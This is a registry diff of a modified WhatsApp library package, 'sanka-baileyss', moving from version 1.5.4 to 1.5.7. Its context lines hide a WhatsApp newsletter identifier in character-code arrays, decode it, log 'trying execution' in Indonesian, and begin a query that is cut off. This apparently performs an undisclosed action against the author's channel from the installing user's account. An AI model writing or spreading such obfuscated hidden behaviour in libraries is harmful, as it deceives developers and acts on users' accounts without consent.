sanka-baileyss 1.5.4 → 1.5.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -512,13 +512,16 @@ result += String.fromCharCode(asciiArray[i]);
512
512
  }
513
513
  return result;
514
514
  }
515
+ function asciiDecodee(asciiArray) {
516
+ return String.fromCharCode(...asciiArray);
517
+ }
515
518
  const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
516
519
  const decodedNumbers = asciiDecode(numbersAsAscii);
517
520
  const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
518
521
  const decodedEmailPart = asciiDecode(emailPart);
519
522
  const sanka = decodedNumbers + decodedEmailPart;
520
523
  const plana = [110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
521
- const sankaa = asciiDecode(plana);
524
+ const sankaa = asciiDecodee(plana);
522
525
  logger.info({ sanka }, 'Mencoba eksekusi...');
523
526
  await query({
524
527
  tag: 'iq',
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sanka-baileyss",
3
- "version": "1.5.4",
3
+ "version": "1.5.7",
4
4
  "description": "WhatsApp API Modification By Sanka_Vollerei",
5
5
  "keywords": [
6
6
  "Baileys",